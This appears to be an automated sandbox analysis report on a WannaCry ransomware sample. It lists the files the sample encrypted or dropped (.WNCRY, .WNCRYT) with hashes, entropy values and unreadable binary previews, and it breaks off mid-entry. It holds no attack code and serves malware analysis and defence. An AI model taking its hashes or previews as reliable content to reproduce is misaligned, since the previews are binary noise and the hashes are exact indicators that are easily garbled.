                                      Preview:WANACRY!....zI=.h$.6.j.b....E.^%..L.E...rIt.|..H.A._2...n.P....}!dkG..q............J..f.....w.+\........ZV.y@............./ ...t]...'N..2........>A^z`..'....A.f....5..F....M...e.!.|.uZ.G.A..~.NX.}...D...D....:...<?......a.......@..0..w(#..<Ct...;..............f....Y.u.l2.... &....dH.@|.9...H.[......g...................;_...$....k....=.8\......]..f.,.v.^%uZo.6.........u....n.8..]..c.......B..nC......w..k.'.......eX..pvs...Q/.nP.M....w..........4.k....`.;.,xns.H0.....V.{..l.....l.T...:.(<..Sr..}.gM...a.X.>.C....]w.qb......R.....N~......_..J1..L+&... .I.y&...]p.#...1G....r....Ey...a./.......rWTH=.8c.{.G.}R..W...2..%.#.{r.....Y.*%.G)...9...-./.@..M1.B.K4..2y....Za..W...}...[.).X(..)}...D.p..hCj...^.P~.......I..`O.k$.i....s......7.(...a..b.4..@.CER.u..t..z.#\.ek#?......G..6L2...4xj1..E..v.~.z...w..=..O\.....d....F#...)....H...T.RK.$.....' Q..K...x.B..]5.3aq......2.............L.~iX..?.. ....K]b.>j.-.._.m9......|..[.....,....N.-.

                                      C:\Users\user\Desktop\PIVFAGEAAV.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.821637776023828
                                      Encrypted:false
                                      SSDEEP:24:RLAngLXfJ3XXrEq017RcvMsRSlotztcUZWUG6HWxoaSN:VAnKvFXgvsMmAChZW5UWZSN
                                      MD5:3E624FFB2F1F40F5607625401840D24A
                                      SHA1:D9409A3DE6E1363ACD785031891BF4D81582CE43
                                      SHA-256:ACC758EBA22CBF5EFEF7A692454AA2ED0E4C7ABE381E8B36B3DBB4A1867EED99
                                      SHA-512:8043E5BCC51B3928B9833939097E20C59AAE8E3554F23999752A170D659F745273487F36B89358F9894DDF004AEA9FC00C6A3482C2D65603355D0BCC695D8B40
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:....@..z....tXu....i.....P.)4M.c..]%..RQ......M...W.C........G..f.x..+P..X.7....q..gig....O....;..."...@`#C......{S!Yk1._Bs.e..m..Q{...n"&..b.]....8ii..?A..".v.N..=...G...........j.....Y...R~..*w4.`.S.Aj..bwN..9.F8O.T..........o..e...K]t...e.iX...."Gh#wJ.c.|]...~......N.l..i.~".=..FE..H.OC.r2.3N?bu.....Mc.(..9...D.I..&.b.A.}.....|!.......;.f\.9.p........E..9..1Q.bl.Q.......B}..0.W".NqU......h.^fh.&a...F=.....6..}..|dv<..jnOXN. N........(,..N_.I!.[..l.Ij....~..&._.Pi....H.Oc.....lV.).h!...D......E....d.. ......h..;.yN.N.y:.><}.jD........9.j....&.H.......Q.vr...k.(..].Bdz>Cd...V......B.}#i..e......+SK..0Xt...?.T..o../..D...fQ....s..k.9,.W6..B,...oI@..B..?1.L.E..>@l.*.$.Rp.Rd...:..o..j...zz.k=s68\.w...X....e\....L........./R,..r.5gw[r.Z.....PW..<'A5k.A+.....t.06.\n.]...*...c5h].../.....Oh8'...Z.l[vu....$....#.j7;L...y.q....U..!,.Z{#.42.n...8n.qM..`..?.'`..$......!.]...4...'u.M.I..z..-..d..+if..(Q...21AS..s.Lw.O..V....J.|.y.q....>w._.g..`6

                                      C:\Users\user\Desktop\PIVFAGEAAV.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8589104730781045
                                      Encrypted:false
                                      SSDEEP:24:bkmgq1XkjqWhyLLpGtDj0vB6AUSD5zJJVNm/IWWybsDDn2sZMYIuYv:bkmgq1X8/hy5ERVSDv1dWWSs/nRZMYXw
                                      MD5:9E47DCADA1AA76051FBF62C3F3F209D8
                                      SHA1:C5C41BEC0496B984ED6CAC0293FC8CA7606A3F95
                                      SHA-256:3F416EEE912D3CAAB44113728F4269288B5978AA753CFA788BC43AED4F685AE0
                                      SHA-512:9261A83DE1AFF3C2AA3D39F3DA7C66250581B4888A61727F04D94CE299C8A34B4C6D3642B1BB1AE2D2379D8B4DE6060E1704205561EFB5A72358001C643E619B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........R..+9.. .x.....9A.....@.k>)...O."..d..<..L.M._N....y.&.....j.:...v.{}p~.e-...{.Nf.....(yQf....$..e..@...E^i......X.2.\...s.{...@...&...M-...6.5.M...x`K..*i...7z..1.j{..1...j.dq.-.I.+n...!.....pL.....)E.....@....ip^..E.....s......o,...4.............yvS-...C.e..`FDA.o.b...q..N~...w[v?Hjc..@.I.F.LNt.".g`.......g.Xf.@<...'....._..{..S.1.a.Nv.+4........3....}..n.P.~7....N<.Z..i.:....mJ.....(.*.j.+....,..?..#v?._.z..S.,rUP.h.B.4.1.<.*3.g......1.|E...e............=b..,.Q.l'.......~.2....2...k-D.[....(q..0.....}P{..O6.FL.G...T.$.!;.D("./..c#../..f.'..>J..G.I[...'W..'.Y4I...^fo..*.m.ms..G|..&+M.G<)#.,P . #8#....c..V..RE {I|V.s0Y..~_.7..<.1..V....>.GHKw.........J;.r.U./jZ.d7..Cl.......|.,.+3$.d.cnW..%.B]...7..K.b....Lr...`....l\..Jb...6....Q.9}....y.....:..A.\.P.V."...u...kIz.#..vqn1.,.......p...fr...db ..F....8!..~..c....U.g...+8.....n..Mw<e.X@....(.}l$UD.................8>+%qC.7...S_2.5!;..>...m...an.~W.......kF5g.....=.... .6R..

                                      C:\Users\user\Desktop\PIVFAGEAAV.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8589104730781045
                                      Encrypted:false
                                      SSDEEP:24:bkmgq1XkjqWhyLLpGtDj0vB6AUSD5zJJVNm/IWWybsDDn2sZMYIuYv:bkmgq1X8/hy5ERVSDv1dWWSs/nRZMYXw
                                      MD5:9E47DCADA1AA76051FBF62C3F3F209D8
                                      SHA1:C5C41BEC0496B984ED6CAC0293FC8CA7606A3F95
                                      SHA-256:3F416EEE912D3CAAB44113728F4269288B5978AA753CFA788BC43AED4F685AE0
                                      SHA-512:9261A83DE1AFF3C2AA3D39F3DA7C66250581B4888A61727F04D94CE299C8A34B4C6D3642B1BB1AE2D2379D8B4DE6060E1704205561EFB5A72358001C643E619B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........R..+9.. .x.....9A.....@.k>)...O."..d..<..L.M._N....y.&.....j.:...v.{}p~.e-...{.Nf.....(yQf....$..e..@...E^i......X.2.\...s.{...@...&...M-...6.5.M...x`K..*i...7z..1.j{..1...j.dq.-.I.+n...!.....pL.....)E.....@....ip^..E.....s......o,...4.............yvS-...C.e..`FDA.o.b...q..N~...w[v?Hjc..@.I.F.LNt.".g`.......g.Xf.@<...'....._..{..S.1.a.Nv.+4........3....}..n.P.~7....N<.Z..i.:....mJ.....(.*.j.+....,..?..#v?._.z..S.,rUP.h.B.4.1.<.*3.g......1.|E...e............=b..,.Q.l'.......~.2....2...k-D.[....(q..0.....}P{..O6.FL.G...T.$.!;.D("./..c#../..f.'..>J..G.I[...'W..'.Y4I...^fo..*.m.ms..G|..&+M.G<)#.,P . #8#....c..V..RE {I|V.s0Y..~_.7..<.1..V....>.GHKw.........J;.r.U./jZ.d7..Cl.......|.,.+3$.d.cnW..%.B]...7..K.b....Lr...`....l\..Jb...6....Q.9}....y.....:..A.\.P.V."...u...kIz.#..vqn1.,.......p...fr...db ..F....8!..~..c....U.g...+8.....n..Mw<e.X@....(.}l$UD.................8>+%qC.7...S_2.5!;..>...m...an.~W.......kF5g.....=.... .6R..

                                      C:\Users\user\Desktop\PWCCAWLGRE.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.801883430845409
                                      Encrypted:false
                                      SSDEEP:24:IR05+y1WQcWhihhnv8LMqI2JPhbxAzdFg/y1A8oTvjqR0OakgVxZ:IRlyoQLhtLMoJPqUyHo72La5
                                      MD5:52F86CADD3AC9D08D9FCB0C969168294
                                      SHA1:05AFF1F0C9802B2FC348912C2CBE511CF6ACB48F
                                      SHA-256:9AA9CCD9F99DB6F0A04CFC73B5DDC2C8A8E2DED71BDCEAB0913F3017BD534FA3
                                      SHA-512:728AC0818A565060AC63FEEA42FA57DE39F9FC00A943F22DD706D5F2FEE24F16787A253D79BBF21215F2A1DE348828172F0D1AFC1409D9105989F449FA4D0A5D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.+..";..G(............fM.'F.p3vU..'...a. .L....,....y..L.*..."%o.b.x[..}#.....)c...)..{.*.....IV.Mn..~$).z.........DB.....=..NC......+s..If..ub.N8...ns.V..8...4.....}.............T{...._7.$....e.I....M}..l.........V.....Jk..E.Q.w.ct.3vT.....A....O.X.Q../..Zs.o>.,..R&....T..h~......qsy.R..AX.B.c.r.:5,jZ.q.>..5......{....W..../...q.}..2.....q\...._..$F.~.M.p....9|".....uHN.hR.G.q.L.b"..t..b v.v.s..&p..".&.._.aW.2.Q...k......%..t.........r.[.. ....H..mFf.4}>...Z.1.P.)..bh...9.e|.=?.S..w.J>..[.-XA;..g......$.|^...k..E..4Q+.=.(.......PR.......4.K.X.'.l.V.s.[...4....'.>....0.w3.~.).r<.r.].y[.}rh.....*.._.Me....tI.BG.\.4.q]..P\.u.../.).N...*.#..\..'R{....\....?4...$.CR.!K.=..y..x..<A....T.jU....'t]O....?. U.M...T..11.4;...P.. .,..F..... ....M.&;J/...^...4..d..}-..c.......G ."..H...9.1G......#....z.R..)W.}.....N.......pv...o.n.......?......t.i.#{..C....M.E..D....J..8.z...#....\.+...R~..H.T*x..=_8....S{..H.ZU.vH.\/...O.....~[.i..fIk...

                                      C:\Users\user\Desktop\PWCCAWLGRE.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848443896156929
                                      Encrypted:false
                                      SSDEEP:24:bk0Zqb+GiIyEiVGzG39mSXpW3jPopi6bXGWxAXWbrvYN8dU9vtn0l5qn:bk0Zq10f93WjCievjsvtn0l5c
                                      MD5:B812C50C5F1C1F7ED8CB12A052E7697D
                                      SHA1:2F145AC47BA47EE57F42A640FF5CB68ACE06BBE9
                                      SHA-256:66B5565FB1042B98B3F8070B3EB0EF26BDA4A92091AD093E1F6AC0406813D689
                                      SHA-512:89DE7FFE049864825667C3AAA5E2F8D88DEBB17B8FF4099C6C0ED7BCEC18F11B6888AA1DAD870234C5D9EF392078EC34F6FA637266B4C052D9F744722A462D7D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....~Q."2UfT.]..(..ky.6..Q......\...IG4.x.VF.'BjC?...b|}...$..w.Y.&......KE..P..:,.5..$.Rb[H.B.k.."V.w.q..(j.7F....d...Q.....>NPv...B.-....".....;m.l.....^..Am..P;......?.|..w.1......E..?.....4N2.;.].D.....q<.~......>.$.F.3g.L.U...iX...?...yM5D.................sV......Co.P.....t....}..M.,..U9.:....I..?A>{Ns.1b...sb.d;.......6..s....M'......,...A.....F.(.........o...:Sq.|3...J."C..d..[A...,.]...Ju..+.6<........u5....z~.v...[>....\:L8?..6b.........0.wp{/.$..?.&i.0...YK..E[..o.X.L..HO.dW......L.JG.>.6..b..I..A}.Z.:....Z...h....X.-.A.2.uO..d..Ws&..<..JdM...s.QiF.y..R.\.wR"..'AH.|j.M..t.?c....G..4.cB..P'......V..r.8..oZa.ZuQ...1....{...0n.<..S......V.....S..y.M|....x.....hW.F.f.\6...)nT.X......~PaH.h.].y08T&.=Do.xyW..e.....P.g..?............2x..U..r....b~............~..,...H..`a....`.qw.X..<.~:?95...M$.0....+...t..\.[.%..V...:3..../;I|.$aoC..........hJk#....T.!.B^.&.=. X...?..X...}#......1...l..U.1..R...{..=q.S^........._

                                      C:\Users\user\Desktop\PWCCAWLGRE.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848443896156929
                                      Encrypted:false
                                      SSDEEP:24:bk0Zqb+GiIyEiVGzG39mSXpW3jPopi6bXGWxAXWbrvYN8dU9vtn0l5qn:bk0Zq10f93WjCievjsvtn0l5c
                                      MD5:B812C50C5F1C1F7ED8CB12A052E7697D
                                      SHA1:2F145AC47BA47EE57F42A640FF5CB68ACE06BBE9
                                      SHA-256:66B5565FB1042B98B3F8070B3EB0EF26BDA4A92091AD093E1F6AC0406813D689
                                      SHA-512:89DE7FFE049864825667C3AAA5E2F8D88DEBB17B8FF4099C6C0ED7BCEC18F11B6888AA1DAD870234C5D9EF392078EC34F6FA637266B4C052D9F744722A462D7D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....~Q."2UfT.]..(..ky.6..Q......\...IG4.x.VF.'BjC?...b|}...$..w.Y.&......KE..P..:,.5..$.Rb[H.B.k.."V.w.q..(j.7F....d...Q.....>NPv...B.-....".....;m.l.....^..Am..P;......?.|..w.1......E..?.....4N2.;.].D.....q<.~......>.$.F.3g.L.U...iX...?...yM5D.................sV......Co.P.....t....}..M.,..U9.:....I..?A>{Ns.1b...sb.d;.......6..s....M'......,...A.....F.(.........o...:Sq.|3...J."C..d..[A...,.]...Ju..+.6<........u5....z~.v...[>....\:L8?..6b.........0.wp{/.$..?.&i.0...YK..E[..o.X.L..HO.dW......L.JG.>.6..b..I..A}.Z.:....Z...h....X.-.A.2.uO..d..Ws&..<..JdM...s.QiF.y..R.\.wR"..'AH.|j.M..t.?c....G..4.cB..P'......V..r.8..oZa.ZuQ...1....{...0n.<..S......V.....S..y.M|....x.....hW.F.f.\6...)nT.X......~PaH.h.].y08T&.=Do.xyW..e.....P.g..?............2x..U..r....b~............~..,...H..`a....`.qw.X..<.~:?95...M$.0....+...t..\.[.%..V...:3..../;I|.$aoC..........hJk#....T.!.B^.&.=. X...?..X...}#......1...l..U.1..R...{..=q.S^........._

                                      C:\Users\user\Desktop\QCFWYSKMHA.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.834715457751506
                                      Encrypted:false
                                      SSDEEP:24:icKhIGUxNVeqMkTeZRlg6BNcajpeR50//3QIt6Cxr:i7/UxNYqM+eC6BCmw83QIICV
                                      MD5:9DE4D8852E00A0AC532366FB53C37F78
                                      SHA1:FA67D66AA965F2EAA642291A72B769A37A3D4468
                                      SHA-256:7E9698CCB9D3279F2BD120E34D0B32842346C254E181E11417F75AB4D8E1A4E0
                                      SHA-512:88B2A6B8B611612015025101CFEFF61490EBF3E634B6F6EC840F671B0D761FA797EE76CF34D38D7A68AB83831003646D1348AAE96DB9CD214921A67DF0B88921
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.$..V..y.....U,..r....%5.n.Qm...5Z..J...<.{../u*....."q.....4[.|...v..g.d}^oW../.6.............h+.+*.p./.G..e..x.W.&..{.5.).r/..Qs.24A.r.jH....+.1....>.P.-.v......R}.i....J@.|.%$.=?Me.....F ........a...v.O7l..c...=9`.,!..Q.qy....i..b....o..\.."jh..C...vrBuf.f....?RN.T.WE.o{......QNAv;\.1......?..b..z...xB&x.$V....t.tZ.TWfbO....`B>.{...,......}9..0..t.Y..nTal....4.........W.z...\<W.(7.'.X..Bfp|...L].[<.......K..U(.Qn$./..$..4.,.d...F.....P...I.r-ng....".?o.,..E. [.EL0.'?..4...m...D.Z.bq3...QX.w(e`..w.>4..B..'9.U.Ixh..D-h..&%.o......o....D..e....Q.4.....l..&.)+z.@.n...)Z......m...../..8.i$....X.........b..+......G.I.I...#.o.jw..#."kN[...R..~;...%.zg.M....x..wE..QV...@.^.M.}...I..!o9..l#q.N..,......Xpp..=..gn..lE.k..PU........s.=...6jBqE.Q..p...]!B&.l.....dn...k...8.....Ftm"|i..)k...IuR.5N.."...5.'R.k..;...=5y.K.].J=]'...$k.V_1..._...Wofl[....s..........kM>..Z.......tB............*D.]&..X.p..w.S.S.....].....d.n.7#.l.6H_...\8J...|.A..C......F.^..T

                                      C:\Users\user\Desktop\QCFWYSKMHA.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.857718946586568
                                      Encrypted:false
                                      SSDEEP:24:bkLT3/2/dDJDBRNscoEXFFLqBI18X/PagJonY+wqG8OqC+bRVQznOYY68:bknmdBzNslEXTqb3CYFqCaVsO9v
                                      MD5:C5FF5B20293B515355B5E280089BC165
                                      SHA1:EBC1D32768554D6E2A03302CBDB0B0F5BA32609D
                                      SHA-256:091E45BF190A63257422F57F31E541649D1E68DBA6FA601B3C7F79B3C5E02C90
                                      SHA-512:181392F7CDE34BEA01092550C4F8F37E7EE9D4979ED0329027F63ECAEE1DC001FE40CEAA3450A8C9AE253EAB17B6B117752FF93382D7C018A4E3629EFCF12227
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....Y..[.....?.........F-..v.U+b.5..k...Q.q}....C...].z..w...wlKp.05.G.t?EQk..l..].....=..~.u.8..D...q..&A....x....7.......X`.....).2!..{./.......x....9:eg.8....c.....A...a.......3..4f....x..H.#.U.&..).."#.~Q-.Z0.......y..~......y...9..........Q....[...............I.B..h.Y..]..H.....U...|K8~...#\T.~....S..Qe....?~.5...<s....Q.8...?*0.a.f..F....|.:2%..V.ZF.{k..:.%....*u ...K......[\.G%^..w....3.......D.o.=?.d..$.....X.S..........J..t.7>.l.......;..4..L.7.+m.T..%s..b........K.aH.s8.M..l..#........#-.[.R..3.......x..#.T.JS..|.[1..^..#}...s..0....../....z.....o5M.4.Xm.#/1..<......<B4....'.....E3...>.....~y.P*.}d4"9..1.E.`..9.C.....%....;*n....... ...!2..)..Y.Y..Z'....V.q ..k..]3.../h...xH.y...k......c.f%....*3q.h...2Rqu$i....{....r...}.Z.<...D....)..`...%=..q.;>w.+...E.S3.....I@n.PV......!........v....W.}.N...c4.....M...d..........I.M@....(.g.....p....:...2g.2L...B_.G"q...gi.v...BR..@..z.}M.a..W.(].2...e.._..s?........#?.D......S.Z.Vg...z\. .7..m.

                                      C:\Users\user\Desktop\QCFWYSKMHA.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.857718946586568
                                      Encrypted:false
                                      SSDEEP:24:bkLT3/2/dDJDBRNscoEXFFLqBI18X/PagJonY+wqG8OqC+bRVQznOYY68:bknmdBzNslEXTqb3CYFqCaVsO9v
                                      MD5:C5FF5B20293B515355B5E280089BC165
                                      SHA1:EBC1D32768554D6E2A03302CBDB0B0F5BA32609D
                                      SHA-256:091E45BF190A63257422F57F31E541649D1E68DBA6FA601B3C7F79B3C5E02C90
                                      SHA-512:181392F7CDE34BEA01092550C4F8F37E7EE9D4979ED0329027F63ECAEE1DC001FE40CEAA3450A8C9AE253EAB17B6B117752FF93382D7C018A4E3629EFCF12227
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....Y..[.....?.........F-..v.U+b.5..k...Q.q}....C...].z..w...wlKp.05.G.t?EQk..l..].....=..~.u.8..D...q..&A....x....7.......X`.....).2!..{./.......x....9:eg.8....c.....A...a.......3..4f....x..H.#.U.&..).."#.~Q-.Z0.......y..~......y...9..........Q....[...............I.B..h.Y..]..H.....U...|K8~...#\T.~....S..Qe....?~.5...<s....Q.8...?*0.a.f..F....|.:2%..V.ZF.{k..:.%....*u ...K......[\.G%^..w....3.......D.o.=?.d..$.....X.S..........J..t.7>.l.......;..4..L.7.+m.T..%s..b........K.aH.s8.M..l..#........#-.[.R..3.......x..#.T.JS..|.[1..^..#}...s..0....../....z.....o5M.4.Xm.#/1..<......<B4....'.....E3...>.....~y.P*.}d4"9..1.E.`..9.C.....%....;*n....... ...!2..)..Y.Y..Z'....V.q ..k..]3.../h...xH.y...k......c.f%....*3q.h...2Rqu$i....{....r...}.Z.<...D....)..`...%=..q.;>w.+...E.S3.....I@n.PV......!........v....W.}.N...c4.....M...d..........I.M@....(.g.....p....:...2g.2L...B_.G"q...gi.v...BR..@..z.}M.a..W.(].2...e.._..s?........#?.D......S.Z.Vg...z\. .7..m.

                                      C:\Users\user\Desktop\SFPUSAFIOL.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.798427432535971
                                      Encrypted:false
                                      SSDEEP:24:NsOiEy66xDinFpjtPhFGCmNHX6+9XWNAQzjS:N3JnjXdmNHX6xuz
                                      MD5:3AB006F595370D8075087AA76ADD7A4F
                                      SHA1:59138D3B2570F37FBFA631C602904DA4FC9DB1B2
                                      SHA-256:CA7500FAC1A0EE98B16F4F072D2EDE8C73DA4455F06D0DA2E16532FCB7965F69
                                      SHA-512:22CE4A7818CF4FAE8698D116D47B4E8E8405DFD7BD31FAE026B41473EB91CA524C3E6B4A3B79C0683AFA2152921AE15941FF8E5DCB89A8072F6BA2742411907F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:AaW`..}.......R...j..x3.qf.yO...v.q....`}..t.j..x.0b.EV>..B..W`|...7.{:J.[..Q.r.v.f.9v.e..c....VJ.....=...n.P_..V.;'j.Re...8..QPF...%]#....s.P.M..p+...'%.V..omZS....E9.*.zjs..K5~..!.@'...u...@?.....k.}(.I.`..K....:..0....=......**....a........=.oH,#?....)w..'.....,i.r...q..(xc.E..O..z(..OK.....= K .~..d..= ..w"3.Z.@w`Q.L.@.M...+i.G..W.f{.7.#...Iq..S&.=m...2kES+A1.@.'....8.B..3...}..Ta-w^#.$i....g...M...AiP..tc..fG....I....c...|....._.>[...w*.......m....f..}.J.....JM..ZvY....t...-....?.S...\|.sy..s.\p....TEF..T.]Y~..Z..5....5}.L.J`........C%z"...{].a8....... .{=....[..V.......Ho.SG..-.1..f....'^.D.r............a..L...;..}V.Y`7....g.W4.[0d.kpm.......%.)..eQh.@0.....X....{......XQ....l........6G..wD...1m..d...].....!....8..S.R..+....#.3..C..8.T..X.y?..A|.p.aM.TE........,.%..0....7.=..J.E._..F.5.......p.7i..X....K."..q....4.....ny.3.3....Z4..E...b..-.._..)..........bk.~x..........<-D.B.!s.S.....8I.:.K5.I..U....I..G...X..t2V....S.Z.........

                                      C:\Users\user\Desktop\SFPUSAFIOL.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.818217942096511
                                      Encrypted:false
                                      SSDEEP:24:bkEz9Jdf5NQrevFONQaGUSX9E4hN0AYXY0O3ojhjb3xttGA55HRtE7GDguk:bkEbdf5NIeN4ofhabo0O4j3+A/xtuvr
                                      MD5:958E1C461FAC7E6AD6172333222F1CA0
                                      SHA1:D2B400340CA3820A615B2E52EC80179D0BBAB936
                                      SHA-256:BB7C2168389B17C830BB162B205BBE401F873137838820C0131DC1198359936E
                                      SHA-512:E024A3B2A4496423D4C1725A24361F05AEE68E141CC93F09E5E210DF11A5CEC5C52E4366CE33CA5612E81A2411A97DB828FD8E7D23F23B33D3A05C1489F6B4A9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......W.2....jT..6....2..4.zngE..o.ey....._f.)/.....^..[N)f.\.M....J^..N..J.jAX.5bW..B}..3W.R..;A....?...R3............V..e..Ob....[I.a.[.".h.o.....T..v.7C4..)..g..q)..K.-.1.m....B..`...0..k..t.G.%&....K~.......bR...8....I.$bR.^.M.U8P..#T....J.y.D-..............E==...:..Bv.DV.=..WP...-.-3..Tl.L..s.g......0...J.:..%e6...0nr,..oY.P....R...1w....".x.K..Q'yh....Db].?Q'...m.....'{2b.~...5.Y.!.c......&..;._.......^................q"K+....V..s>...!...K.c.f1.{....?..;.?P.....q^t.f.E...z...A......J'...0.......-;...{...[....:..-.G..l.j.KJ....-..........."!|..i,.?:...)...6<g...2.q. ......XND....%-.c.......T.6.`v.,.ZtAi.<..3..x.{.}.4.+L.8...}...~..&.Mn....Cm.N....v.)..]...+.<.D.......>I&.V...~...................M....2.w$C...Y>........y......ei.jS_.$....)Onyv....1..{njK..w.7{^Y..J...`.._...6.|.pQ..45.....o....h..j.h.....}....u..G.........H....b...n.K.C.u..y.)][.!...V...Dt...sr...h...H#]..G.R~..4..2..+.W(E.*...z:.@.<.-....,...a....X{....7....4..

                                      C:\Users\user\Desktop\SFPUSAFIOL.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.818217942096511
                                      Encrypted:false
                                      SSDEEP:24:bkEz9Jdf5NQrevFONQaGUSX9E4hN0AYXY0O3ojhjb3xttGA55HRtE7GDguk:bkEbdf5NIeN4ofhabo0O4j3+A/xtuvr
                                      MD5:958E1C461FAC7E6AD6172333222F1CA0
                                      SHA1:D2B400340CA3820A615B2E52EC80179D0BBAB936
                                      SHA-256:BB7C2168389B17C830BB162B205BBE401F873137838820C0131DC1198359936E
                                      SHA-512:E024A3B2A4496423D4C1725A24361F05AEE68E141CC93F09E5E210DF11A5CEC5C52E4366CE33CA5612E81A2411A97DB828FD8E7D23F23B33D3A05C1489F6B4A9
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......W.2....jT..6....2..4.zngE..o.ey....._f.)/.....^..[N)f.\.M....J^..N..J.jAX.5bW..B}..3W.R..;A....?...R3............V..e..Ob....[I.a.[.".h.o.....T..v.7C4..)..g..q)..K.-.1.m....B..`...0..k..t.G.%&....K~.......bR...8....I.$bR.^.M.U8P..#T....J.y.D-..............E==...:..Bv.DV.=..WP...-.-3..Tl.L..s.g......0...J.:..%e6...0nr,..oY.P....R...1w....".x.K..Q'yh....Db].?Q'...m.....'{2b.~...5.Y.!.c......&..;._.......^................q"K+....V..s>...!...K.c.f1.{....?..;.?P.....q^t.f.E...z...A......J'...0.......-;...{...[....:..-.G..l.j.KJ....-..........."!|..i,.?:...)...6<g...2.q. ......XND....%-.c.......T.6.`v.,.ZtAi.<..3..x.{.}.4.+L.8...}...~..&.Mn....Cm.N....v.)..]...+.<.D.......>I&.V...~...................M....2.w$C...Y>........y......ei.jS_.$....)Onyv....1..{njK..w.7{^Y..J...`.._...6.|.pQ..45.....o....h..j.h.....}....u..G.........H....b...n.K.C.u..y.)][.!...V...Dt...sr...h...H#]..G.R~..4..2..+.W(E.*...z:.@.<.-....,...a....X{....7....4..

                                      C:\Users\user\Desktop\SFPUSAFIOL.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.802896284884951
                                      Encrypted:false
                                      SSDEEP:24:nmi2L3aOvwbF2erCFTSpYuiW5MB+l1/PBW:Vqap2erCFGp0Go8/I
                                      MD5:A8FB88AD178D3297C3952F7E460A3495
                                      SHA1:464A46F4946B97F98E33FA9F5B40160B4AFEC64E
                                      SHA-256:C1712CA3221F674C7969F3BE5CBB09BB4A46D3CBAE7A911C99906D535AEF7EB5
                                      SHA-512:ECCDC4E493D403BE8B9BB6CC2B8B91F21328C6593CAD33E17A58256450A6BD6CDA68692532A9BE2921B1C9C5272C8AF2A2D9FD5A912999FCD767A78B40F93511
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.G..m<5.F..^:1>H.3.. u.../O...i......_#.yB..Bn..'...+Q.3...U.T[..a@i.......j.Ve..`.B..W.....-.Z6...pw...Em...-P|..<f...._..^5B...U....2...6.cm@[._|...;.c.....+."._~...G.Y...I(I..B..IN..;9.;..`.:W.}..P|..l.n.t.J.G.V:..s2....Ko......yZ.+...sg...........9_.mj......Y.......)...S.m6.....\..3ut...EQ.X1..+...C@..]..rJ..G....bHl...B.E7h.#R4y8.\f...I...........H.`R`/..~..<.0...p..5...T#5..T.D.,k..R7.:..{.j^...X...ZM...}#a...x..:C9....l/-.R.B..wo.T.Vo. ...g.B.(.k.`.R....l./..iC.N.. .8.....s.......V.,{..\K..D.f...h.....p._...u4Z/.....(.a.k..&hW.z...'p.......v..)...8u..p..Y.._p..u....":........`.R.....).M....Q.eN..=.Y.%/.....n.es..,L..q/.n..gy..|g.9...TNc#.. &x6V.j[......?B.SY.u.....P..p.'.K..h.a.\.}4..O......5.b..-C.|..F.:.T.r"......c.z.....`.]..Zpqgk...].. ...+..TI{.Qa...b..!.... e..`...3.....NT.G....k.S....T.f..#..*Jo.>..O.... .........._.....#.[*|.....m'..ThS.j..9.S..W.8.twQ...f3....1.-.2..n......Q.)i96w5.Ir4..*l..da.:...+.......I...x.p.|

                                      C:\Users\user\Desktop\SFPUSAFIOL.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.827136684072626
